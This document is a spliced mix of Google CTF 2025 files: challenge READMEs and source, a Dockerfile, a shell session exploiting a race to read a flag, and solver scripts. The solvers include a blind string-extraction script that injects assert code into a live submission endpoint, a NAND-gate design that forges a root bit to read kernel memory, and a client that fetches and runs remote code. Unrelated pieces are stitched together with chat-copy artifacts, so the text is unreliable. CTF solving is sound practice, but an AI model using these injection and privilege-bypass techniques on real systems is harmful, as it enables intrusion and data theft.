GoogleCTF 2025

# Mega Sonk in MegaRust

To run the game:

```
mame genesis -cart sonk.md
```

Record your solution and send it up to the server to get the flag! Make sure your recording is at most 5 minutes long.

```
mame genesis -cart sonk.md -record solution.inp
python3 submit.py /home/user/.mame/inp/solution.inp mega.2025.ctfcompetition.com 1337
```

To rebuild the game:

```
make sonk.md
```

On the first run this builds the compilation toolchain which could take up to half an hour.

Rebuild and run the game:

```
 make run
```


## Credits

Compilation toolchain based on
* https://github.com/ricky26/rust-mega-drive
* https://github.com/rust-lang/rustc_codegen_gcc

Graphics credits:
* https://opengameart.org/content/dashie-supertux-advance-style
* https://opengameart.org/content/plastic-shamtastic
* https://opengameart.org/content/wasp-0

        // Add position markers before final render
        if self.win_scene.is_none() {
            // Draw vertical lines every 500 pixels
            let world_x_start = -self.map.scroll_x;
            
            // Regular markers every 500 pixels
            for i in 0..13 {
                let marker_world_x = i * 500;
                let marker_screen_x = marker_world_x + self.map.scroll_x + 128;
                
                if marker_screen_x >= 64 && marker_screen_x <= 448 {
                    // Draw a thin vertical line using a sprite
                    let marker_sprite = Sprite {
                        size: SpriteSize::Size1x4,
                        x: marker_screen_x as u16,
                        y: 128,
                        link: 0,
                        flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::C), // Use spike tile
                    };
                    let _ = self.renderer.add_sprite(marker_sprite);
                }
            }
            
            // Draw actual flag collision positions
            for (i, flag) in self.flags.iter().enumerate() {
                // flag.x and flag.y are the collision coordinates
                // They start as world coords but get modified by camera
                // Need to convert back to screen position
                let flag_screen_x = flag.x;
                let flag_screen_y = flag.y;
                
                // Draw vertical line at flag X position
                if flag_screen_x >= 64 && flag_screen_x <= 448 {
                    for y in 0..7 {
                        let flag_marker = Sprite {
                            size: SpriteSize::Size1x4,
                            x: flag_screen_x,
                            y: (128 + y * 32) as u16,
                            link: 0,
                            flags: if i == 0 { 
                                TileFlags::for_tile(SPIKE_TILE_OFFSET + 1, Palette::B) // Flag A
                            } else { 
                                TileFlags::for_tile(SPIKE_TILE_OFFSET + 2, Palette::D) // Flag B
                            },
                        };
                        let _ = self.renderer.add_sprite(flag_marker);
                    }
                }
                
                // Draw marker at the actual flag position
                if flag_screen_x >= 64 && flag_screen_x <= 448 && flag_screen_y >= 64 && flag_screen_y <= 352 {
                    // Show exactly where the flag collision box is
                    let collision_marker = Sprite {
                        size: SpriteSize::Size2x1,
                        x: flag_screen_x,
                        y: flag_screen_y,
                        link: 0,
                        flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::A),
                    };
                    let _ = self.renderer.add_sprite(collision_marker);
                }
            }
        }
        
        // Draw horizontal line showing Sonk's Y position
        if self.win_scene.is_none() {
            // Draw a horizontal line at Sonk's Y coordinate
            let sonk_x = self.sonk.sprite.x;
            let sonk_y = self.sonk.sprite.y;
            for x in 0..10 {
                let y_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: (128 + x * 32) as u16,
                    y: sonk_y,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red color
                };
                let _ = self.renderer.add_sprite(y_marker);
            }
            
            // Draw a vertical line at Sonk's X coordinate
            for y in 0..7 {
                let x_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: sonk_x,
                    y: (128 + y * 32) as u16,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red color
                };
                let _ = self.renderer.add_sprite(x_marker);
            }
            
            // Draw horizontal lines for flags
            for flag in &self.flags {
                if flag.y >= 64 && flag.y <= 352 {
                    for x in 0..10 {
                        let flag_y_marker = Sprite {
                            size: SpriteSize::Size1x1,
                            x: (128 + x * 32) as u16,
                            y: flag.y,
                            link: 0,
                            flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::D), // Different color for flags
                        };
                        let _ = self.renderer.add_sprite(flag_y_marker);
                    }
                }
            }
            
            // Draw indicators for important game state
            // Show if Sonk is damaged (blinking indicator in top right)
            if self.sonk.damaged {
                let damage_indicator = Sprite {
                    size: SpriteSize::Size2x2,
                    x: 400,
                    y: 140,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red spike to show damaged
                };
                let _ = self.renderer.add_sprite(damage_indicator);
            }
            
            
            // Show Sonk's speed (visual bars)
            let speed_x_abs = self.sonk.speed_x.abs() as u16;
            let speed_y_abs = self.sonk.speed_y.abs() as u16;
            
            // Horizontal speed bar
            for i in 0..(speed_x_abs / 10).min(12) {
                let speed_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 380 + i * 8,
                    y: 180,
                    link: 0,
                    flags: if self.sonk.speed_x < 0 {
                        TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::C) // Blue for left
                    } else {
                        TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::B) // Green for right
                    },
                };
                let _ = self.renderer.add_sprite(speed_marker);
            }
            
            // Vertical speed bar
            for i in 0..(speed_y_abs / 10).min(10) {
                let speed_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 380 + i * 8,
                    y: 190,
                    link: 0,
                    flags: if self.sonk.speed_y < 0 {
                        TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::A) // Red for up
                    } else {
                        TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::D) // Purple for down
                    },
                };
                let _ = self.renderer.add_sprite(speed_marker);
            }
            
            // Show if Sonk is off-screen (important for the exploit!)
            let mid_x = sonk_x as i16 + 16 - 128;
            if mid_x < 0 || mid_x > 319 {
                // Big warning indicator that we're off-screen
                let offscreen_indicator = Sprite {
                    size: SpriteSize::Size4x4,
                    x: 350,
                    y: 200,
                    link: 0,
                    flags: TileFlags::for_tile(WASP_TILE_OFFSET, Palette::A), // Red wasp = danger/warning
                };
                let _ = self.renderer.add_sprite(offscreen_indicator);
            }
            
            // Calculate Sonk's world coordinates
            let world_x = (sonk_x as i16 - 128 - self.map.scroll_x) as u16;
            let world_y = (sonk_y as i16 - 128 - self.map.scroll_y) as u16;
            
            // Draw X coordinate display (top left)
            let x_thousands = (world_x / 1000) as u16;
            let x_hundreds = ((world_x % 1000) / 100) as u16;
            let x_tens = ((world_x % 100) / 10) as u16;
            let x_ones = (world_x % 10) as u16;
            
            // X coordinate markers
            for i in 0..x_thousands.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 140,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::D), // Purple for thousands
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..x_hundreds.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 150,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red for hundreds
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..x_tens.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 160,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::B), // Green for tens
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..x_ones.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 170,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::C), // Blue for ones
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            // Draw Y coordinate display (below X)
            let y_hundreds = (world_y / 100) as u16;
            let y_tens = ((world_y % 100) / 10) as u16;
            let y_ones = (world_y % 10) as u16;
            
            // Y coordinate markers
            for i in 0..y_hundreds.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 190,
                    link: 0,
                    flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::A), // Red for hundreds
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..y_tens.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 200,
                    link: 0,
                    flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::B), // Green for tens
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..y_ones.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 210,
                    link: 0,
                    flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::C), // Blue for ones
                };
                let _ = self.renderer.add_sprite(marker);
            }
        }

FROM nixos/nix AS build

RUN mkdir -p /build
WORKDIR /build

COPY flag.txt flake.nix flake.lock /build/
COPY ./init /build/init/
RUN nix --extra-experimental-features nix-command --extra-experimental-features flakes build

FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f

RUN apt-get update && apt-get install -y qemu-system-x86

WORKDIR /
COPY --from=build /build/result/bzImage /build/result/initrd.gz /
COPY run_qemu /
CMD kctf_setup && \
    chmod 0777 /dev/kvm && \
    chmod 0777 /dev/vhost-vsock && \
    kctf_drop_privs \
    socat \
      TCP-LISTEN:1337,reuseaddr,fork \
      EXEC:"kctf_pow /run_qemu"

/bin/sh: can't access tty; job control turned off
~ $ sh -c 'exec < /flag.txt; cat'
sh -c 'exec < /flag.txt; cat'
~ $ exec 3< /flag.txt && cat <&3
exec 3< /flag.txt && cat <&3

~ $   cat /proc/1/maps | grep flag
  cat /proc/1/maps | grep flag
cat: can't open '/proc/1/maps': Permission denied
~ $ 

~ $   find / -samefile /flag.txt 2>/dev/null
  find / -samefile /flag.txt 2>/dev/null
/flag.txt
~ $ 

~ $   ls -la /proc/self/root/flag.txt
  ls -la /proc/self/root/flag.txt
lrwxrwxrwx    1 0        0               52 Jan  1  1970 /proc/self/root/flag.txt -> /nix/store/c36i0vdt
~ $   ls -la /proc/self/root/flag.txt
  ls -la /proc/self/root/flag.txt
lrwxrwxrwx    1 0        0               52 Jan  1  1970 /proc/self/root/flag.txt -> /nix/store/c36i0vdt
~ $   hexdump -C /flag.txt
  hexdump -C /flag.txt
~ $   cp /flag.txt /tmp/f && cat /tmp/f
  cp /flag.txt /tmp/f && cat /tmp/f
~ $   (sleep 1 && cat /flag.txt) &
  (sleep 1 && cat /flag.txt) &
~ $ CTF{En0ugH_r4c3_c0nd1tIoNs_T0_H05t_O1yMp1c5}

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    ...

    <script>
        const SIGNATURE_CODE = `def player_kernel(mapdata_ref, auxdata_ref, out_ref):`;

     ...
        // --- Configuration Variables (easily changeable) ---
        const GRID_DIMENSION = 800;
        const CELL_SIZE_PX = 32;
        const enemyImages = {
            '#': 'wall.png',
            'F': 'falcon.png',
            'R': 'positron.png',
            'P': 'fish.png',
            ' ': 'empty',
        }
        // ----------------------------------------------------

        const gridContainer = document.getElementById('gridArea');
        const stepSlider = document.getElementById('stepSlider');
        const stepLabel = document.getElementById('currentStep');

        let gameTrace = {};
        let gameStates = [];
        let animationInterval;
        let currentStep = 0;

        gridContainer.style.width = `${GRID_DIMENSION}px`;
        gridContainer.style.height = `${GRID_DIMENSION}px`;
        gridContainer.style.gridTemplateColumns = `repeat(${GRID_DIMENSION / CELL_SIZE_PX}, 1fr)`;
        gridContainer.style.gridTemplateRows = `repeat(${GRID_DIMENSION / CELL_SIZE_PX}, 1fr)`;

        document.querySelector('.grid-controls').style.width = `${GRID_DIMENSION}px`;

        function populateGrid(gameState) {
            gridContainer.innerHTML = '';

            const maze = gameState.maze;
            const mapn = gameTrace.mapn;

            const numCellsPerSide = mapn;
            const cellSize = GRID_DIMENSION / numCellsPerSide;

            gridContainer.style.width = `${GRID_DIMENSION}px`;
            gridContainer.style.height = `${GRID_DIMENSION}px`;
            gridContainer.style.gridTemplateColumns = `repeat(${numCellsPerSide}, 1fr)`;
            gridContainer.style.gridTemplateRows = `repeat(${numCellsPerSide}, 1fr)`;

            const rows = maze.split('\n');
            for (let row = 0; row < rows.length; row++) {
                for (let col = 0; col < rows[row].length; col++) {
                    const cell = document.createElement('div');
                    cell.classList.add('grid-cell');

                    cell.style.width = `${cellSize}px`;
                    cell.style.height = `${cellSize}px`;

                    const cellContent = rows[row][col];
                    let currentCellImage = enemyImages[cellContent] || 'empty';


                    if (currentCellImage !== 'empty') {
                        const img = document.createElement('img');
                        img.src = `/static/${currentCellImage}`;
                        img.alt = currentCellImage.split('.')[0];
                        cell.appendChild(img);
                    }

                    gridContainer.appendChild(cell);
                }
            }
        }

        function updateVisualization(step) {
            if (gameStates.length === 0) return;

            step = parseInt(step);
            const gameState = gameStates[step];
            populateGrid(gameState);
            stepLabel.textContent = step;
            stepSlider.value = step;
        }


      ...
    </script>
    <div style="display:none;">
        Note to our intern: make Sure to remove these notes so players don't see it!

        mapdata.shape is (8,)
        It has ASCII codes of:
        A0 A1 A2
        A3 * A4
        A5 A6 A7
        Where "#" is wall, " " is open, "R" is ray, "F" is falcon

        output.shape is (1 + 64,)
        aux.shape is (64,)
        OUTPUT ACTIONS:
        0 : stay still
        1 : move left
        2 : move right
        3 : move up
        4 : move down
        Put your action in output[0]
        After each turn:OUTPUT[1:] gets copied into AUX_DATA so you can use aux as memory/scratch
    </div>
</body>

</html>

import requests

URL = "https://til9w0kk-fishmaze.instancer.2025.ctfcompetition.com/submit_kernel"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}

def send_assert(code):
    payload = {"kernel_input": code}
    try:
        r = requests.post(URL, headers=HEADERS, data=payload)
        if r.status_code == 200:
            j = r.json()
            return j.get("status", "error")
        return "error"
    except:
        return "error"

def make_assert(index, body):
    return (
        f"def player_kernel(mapdata_ref, auxdata_ref, out_ref):\n"
        f"    out_ref.at[0].set(1)\n"
        f"    assert {body}"
    )

def classify_char(index):
    tests = [
        ("isupper", f"str(mapdata_ref[0])[{index}].isupper()"),
        ("islower", f"str(mapdata_ref[0])[{index}].islower()"),
        ("isdigit", f"str(mapdata_ref[0])[{index}].isdigit()"),
        ("symbol", f"not str(mapdata_ref[0])[{index}].isalnum() and str(mapdata_ref[0])[{index}].isprintable()")
    ]
    for label, test in tests:
        code = make_assert(index, test)
        if send_assert(code) == "success":
            return label
    return None

def binary_search_char(index, charset):
    low = 0
    high = len(charset) - 1
    while low <= high:
        mid = (low + high) // 2
        test_char = charset[mid]
        test = f"str(mapdata_ref[0])[{index}] == '{test_char}'"
        code = make_assert(index, test)
        result = send_assert(code)
        if result == "success":
            return test_char
        test = f"str(mapdata_ref[0])[{index}] < '{test_char}'"
        code = make_assert(index, test)
        result = send_assert(code)
        if result == "success":
            high = mid - 1
        else:
            low = mid + 1
    return None

def get_charset(label):
    import string
    if label == "isupper":
        return list(string.ascii_uppercase)
    elif label == "islower":
        return list(string.ascii_lowercase)
    elif label == "isdigit":
        return list(string.digits)
    elif label == "symbol":
        return list(' !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~')
    return []

def reconstruct(max_len=50):
    result = ""
    for i in range(max_len):
        print(f"Testing index {i}...")
        category = classify_char(i)
        if not category:
            print(f"Index {i}: End of string.")
            break
        charset = get_charset(category)
        ch = binary_search_char(i, charset)
        if ch:
            result += ch
            print(f"[{i}] = '{ch}' → {result}")
        else:
            print(f"Failed to resolve index {i}.")
            break
    return result

if __name__ == "__main__":
    recovered = reconstruct(50)
    print("\nFinal reconstructed string:")
    print(recovered)

    tick = auxdata_ref[0]
    move = jnp.where(tick < 5, jnp.int32(4), jnp.int32(1))
    out_ref.at[0].set(move)
    out_ref.at[1].set(tick + jnp.int32(1))

    import jax.numpy as jnp

    DOWN, LEFT, RIGHT, UP, STAY = map(jnp.int32, (4, 1, 2, 3, 0))

    t = auxdata_ref[0]            # frame counter
    out_ref.at[1].set(t + 1)      # persist

    # ↓5
    c0 = t < 5

    # ←15
    c1 = (t >= 5) & (t < 20)

    # ↑/← pattern 26 ticks (1 2 1 2 1 2 1 1 1 1 2 2 9)
    t2   = t - 20
    ends = [1,3,4,6,7,9,10,11,12,13,15,17,26]
    dirs = [UP if i % 2 == 0 else LEFT for i in range(len(ends))]
    m2   = jnp.select([t2 < e for e in ends],
                      [jnp.int32(d) for d in dirs],
                      default=STAY)
    c2 = (t >= 20) & (t < 46)

    # →2  ↑3  →2
    c3 = (t >= 46) & (t < 48)
    c4 = (t >= 48) & (t < 51)
    c5 = (t >= 51) & (t < 53)

    # pause 5
    c6 = (t >= 53) & (t < 58)

    # ↑5
    c7 = (t >= 58) & (t < 63)

    # →5
    c8 = (t >= 63) & (t < 68)

    move = jnp.where(c0, DOWN,
             jnp.where(c1, LEFT,
               jnp.where(c2, m2,
                 jnp.where(c3, RIGHT,
                   jnp.where(c4, UP,
                     jnp.where(c5, RIGHT,
                       jnp.where(c6, STAY,
                         jnp.where(c7, UP,
                           jnp.where(c8, RIGHT, UP)))))))))

    out_ref.at[0].set(move)

from z3 import *
import string
import time
from flag import flag
import sys


spec = """
ISA:
- 4 8-bit registers
...
"""

def menu():
  global gates
  print("1. Print specification.")
  print("2. Clear design.")
  print("3. Add gate.")
  print("4. Print design.")
  print("5. Verify design.")
  print("6. Quit.")
    for i, c in enumerate(flag):
...

def get_and_run():
  print("Ok. The CPU design was sent to the factory, and we got the chip now.")
  print("Let's run some code!")
  print("Example: 09020a480c0a690c0a210c0a200c0a540c0a680c0a650c0a200c0a740c0a690c0a6d0c0a650c0a200c0a690c0a730c0a200c0a780c0a780c0a3a0c0a780c0a780c0a3a0c0a780c09010c0b303b09020c0a0a0c09000c")
  print("Input (hex-encoded) user code (up to 128 bytes):")

  HALT = b"\x0f"
  code = bytes.fromhex(input().strip())[:128]
  code += HALT * (128 - len(code))

  KERNEL_CODE = bytes.fromhex("0f0f 0b91 870bff37 0b92 870bff37 0b96 87 0f 0209010e 0609020e")

  KERNEL_CODE += HALT * (128 - len(KERNEL_CODE))
  code += KERNEL_CODE

  run(code)

def main():
  print("Implement the CPU decoder circuit!")
  while not finished_circuit:
    menu()
  get_and_run()


if __name__ == "__main__":
  main()

#!/usr/bin/env python3
"""
Automated solver for the CPU decoder CTF challenge
Reads entire solution from submit.txt (including hex exploit)
"""

import socket
import subprocess
import time
import re
import sys
import os
import urllib.request
import tempfile

# Hardcoded connection details
HOST = "hwsim.2025.ctfcompetition.com"
PORT = 1337

def solve_pow(challenge):
    """Solve the proof-of-work challenge"""
    print(f"[*] Solving PoW: {challenge}")

    # Download and run the PoW solver
    print("[*] Downloading PoW solver...")
    response = urllib.request.urlopen('https://goo.gle/kctf-pow')
    solver_code = response.read().decode('utf-8')

    # Save to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(solver_code)
        temp_path = f.name

    try:
        # Run the solver - this takes about 20 seconds
        print(f"[*] Running PoW solver (this takes ~20 seconds)...")
        cmd = ['python3', temp_path, 'solve'] + challenge.split()
        result = subprocess.run(cmd, capture_output=True, text=True)

        # The solution is the last line that starts with 's.'
        solution = None
        for line in result.stdout.strip().split('\n'):
            if line.startswith('s.') and len(line) > 50:
                solution = line.strip()

        if not solution:
            print("[!] Failed to get PoW solution")
            print("Output:", result.stdout)
            print("Error:", result.stderr)
            return None

        print(f"[*] PoW solution found: {solution[:50]}...")
        return solution
    finally:
        os.unlink(temp_path)

def read_working2():
    """Read the complete solution from submit.txt"""
    if not os.path.exists('submit.txt'):
        print("[!] Error: submit.txt not found!")
        print("[!] Please create submit.txt with the circuit solution and hex exploit")
        sys.exit(1)

    with open('submit.txt', 'r') as f:
        content = f.read()

    print(f"[*] Read {len(content)} bytes from submit.txt")
    return content

def recv_until(sock, pattern, timeout=30):
    """Receive data until pattern is found"""
    buffer = b""
    sock.settimeout(timeout)
    start_time = time.time()

    while True:
        if time.time() - start_time > timeout:
            raise TimeoutError("Timeout waiting for pattern")

        try:
            data = sock.recv(4096)
            if not data:
                break
            buffer += data

            # Try to decode and check for pattern
            try:
                decoded = buffer.decode('utf-8', errors='ignore')
                if pattern in decoded:
                    return decoded
            except:
                pass

        except socket.timeout:
            continue

    return buffer.decode('utf-8', errors='ignore')

def main():
    print(f"[*] CPU Decoder CTF Solver")
    print(f"[*] Target: {HOST}:{PORT}")
    print("=" * 50)

    # Connect to the server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(60)

    try:
        print(f"[*] Connecting to {HOST}:{PORT}...")
        sock.connect((HOST, PORT))
        print("[*] Connected!")

        # Read initial PoW challenge
        print("[*] Waiting for PoW challenge...")
        initial_data = recv_until(sock, "Solution?", timeout=10)
        print(initial_data)

        # Extract PoW challenge
        match = re.search(r'solve\s+(s\.\w+\.\w+)', initial_data)
        if not match:
            print("[!] Could not find PoW challenge!")
            return

        pow_challenge = match.group(1)

        # Solve PoW
        solution = solve_pow(pow_challenge)
        if not solution:
            print("[!] Failed to solve PoW")
            return

        # Send solution
        print(f"\n[*] Sending PoW solution...")
        sock.send((solution + "\n").encode())

        # Wait for the main program to start
        print("[*] Waiting for main program to start...")
        time.sleep(2)

        # Read any response after PoW
        sock.settimeout(2)
        try:
            response = sock.recv(4096).decode('utf-8', errors='ignore')
            if response:
                print(response)
        except socket.timeout:
            pass

        # Read the entire solution from submit.txt
        print("\n[*] Reading complete solution from submit.txt...")
        complete_solution = read_working2()

        # Send the entire content line by line
        print("[*] Sending complete solution (circuit + exploit)...")
        lines = complete_solution.strip().split('\n')

        for i, line in enumerate(lines):
            # Show progress for long inputs
            if i % 10 == 0:
                print(f"[*] Progress: {i}/{len(lines)} lines sent")

            sock.send((line + "\n").encode())
            # Small delay between lines to avoid overwhelming the server
            time.sleep(0.001)

        print(f"[*] All {len(lines)} lines sent!")

        # Read all remaining output
        print("\n[*] Reading output (waiting for flag)...")
        print("=" * 50)

        sock.settimeout(5)
        output_buffer = ""
        last_data_time = time.time()

        while time.time() - last_data_time < 3:  # Wait up to 3 seconds of silence
            try:
                data = sock.recv(4096).decode('utf-8', errors='ignore')
                if data:
                    output_buffer += data
                    print(data, end='', flush=True)
                    last_data_time = time.time()
            except socket.timeout:
                continue
            except:
                break

        print("\n" + "=" * 50)

    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
    except Exception as e:
        print(f"\n[!] Error: {e}")
        import traceback
        traceback.print_exc()
    finally:
        sock.close()
        print("\n[*] Connection closed")

if __name__ == "__main__":
    main()

# submit.txt
2
3
make_one_xor1 r0_0 r0_0
3
make_one_xor2 r0_0 make_one_xor1
3
make_one_xor3 r0_0 make_one_xor1
3
security_exception make_one_xor2 make_one_xor3
3
is_root_now security_exception security_exception
3
not_ins7 ins_7 ins_7
3
is_jz not_ins7 not_ins7
3
is_jmp_and1 not_ins7 ins_6
3
is_jmp is_jmp_and1 is_jmp_and1
3
not_ins6_not ins_6 ins_6
3
and_n7_n6_and1 not_ins7 not_ins6_not
3
and_n7_n6 and_n7_n6_and1 and_n7_n6_and1
3
and_5_4_and1 ins_5 ins_4
3
and_5_4 and_5_4_and1 and_5_4_and1
3
is_add_and1 and_n7_n6 and_5_4
3
is_add is_add_and1 is_add_and1
3
not_ins4 ins_4 ins_4
3
and_5_n4_and1 ins_5 not_ins4
3
and_5_n4 and_5_n4_and1 and_5_n4_and1
3
is_store_and1 and_n7_n6 and_5_n4
3
is_store is_store_and1 is_store_and1
3
not_ins5 ins_5 ins_5
3
and_n5_4_and1 not_ins5 ins_4
3
and_n5_4 and_n5_4_and1 and_n5_4_and1
3
is_load_and1 and_n7_n6 and_n5_4
3
is_load is_load_and1 is_load_and1
3
and_n5_n4_and1 not_ins5 not_ins4
3
and_n5_n4_and2_not and_n5_n4_and1 and_n5_n4_and1
3
and_n7_n6_n5_n4_and1 and_n7_n6 and_n5_n4_and2_not
3
and_n7_n6_n5_n4 and_n7_n6_n5_n4_and1 and_n7_n6_n5_n4_and1
3
and_3_2_and1 ins_3 ins_2
3
and_3_2 and_3_2_and1 and_3_2_and1
3
and_n7_n6_n5_n4_3_2_and1 and_n7_n6_n5_n4 and_3_2
3
and_n7_n6_n5_n4_3_2 and_n7_n6_n5_n4_3_2_and1 and_n7_n6_n5_n4_3_2_and1
3
and_1_0_and1 ins_1 ins_0
3
and_1_0 and_1_0_and1 and_1_0_and1
3
is_halt_and1 and_n7_n6_n5_n4_3_2 and_1_0
3
is_halt is_halt_and1 is_halt_and1
3
not_ins0 ins_0 ins_0
3
and_1_n0_and1 not_ins0 ins_1
3
and_1_n0 and_1_n0_and1 and_1_n0_and1
3
is_sysret_and1 and_n7_n6_n5_n4_3_2 and_1_n0
3
is_sysret is_sysret_and1 is_sysret_and1
3
not_ins1 ins_1 ins_1
3
is_syscall_and1 and_n7_n6_n5_n4_3_2 not_ins1
3
is_syscall is_syscall_and1 is_syscall_and1
3
not_ins2 ins_2 ins_2
3
not_ins3 ins_3 ins_3
3
and_3_n2_and1 ins_3 not_ins2
3
and_3_n2 and_3_n2_and1 and_3_n2_and1
3
is_ldi_and1 and_n7_n6_n5_n4 and_3_n2
3
is_ldi is_ldi_and1 is_ldi_and1
3
and_n3_2_and1 ins_2 not_ins3
3
and_n3_2 and_n3_2_and1 and_n3_2_and1
3
is_putc_and1 and_n7_n6_n5_n4 and_n3_2
3
is_putc is_putc_and1 is_putc_and1
3
and_n3_n2_and1 not_ins3 not_ins2
3
and_n3_n2 and_n3_n2_and1 and_n3_n2_and1
3
is_rdtsc_and1 and_n7_n6_n5_n4 and_n3_n2
3
is_rdtsc is_rdtsc_and1 is_rdtsc_and1
5
08801405088114050882140508831405088414050885140508861405088714050888140508891405088a1405088b1405088c1405088d1405088e1405088f1405089014050891140508921405089314050894140508951405089614050897140508981405089914050f

CopyEditis_root_now,
ins_7..ins_0,
r0_7..r0_0, r1_7..r1_0, r2_7..r2_0, r3_7..r3_0

makefileCopyEditsecurity_exception ==  (¬is_root_now) ∧
                       ( is_rdtsc ∨ is_putc ∨ is_sysret ∨
                         ( (is_store ∨ is_load) ∧ kernel_address) )

sqlCopyEditr0_0 • r0_0 → make_one_xor1        ; make_one_xor1 = NAND(x,x) = ¬x
r0_0 • make_one_xor1 → make_one_xor2
r0_0 • make_one_xor1 → make_one_xor3  ; both make_one_xor2/3 = 1
make_one_xor2 • make_one_xor3 → security_exception ; NAND(1,1)=0
security_exception • security_exception → is_root_now ; NAND(0,0)=1

javaCopyEditright-hand side = (¬is_root_now) ∧ (…) = (¬1) ∧ (…) = 0
left-hand side  = 0

nginxCopyEditFormal verification passed!

pythonCopyEditrun_nand(known, "security_exception")

pgsqlCopyEdit08 xx    ; LDI  r0, xx   (load address into r0)
14       ; LOAD r1,[r0]
05       ; PUTC r1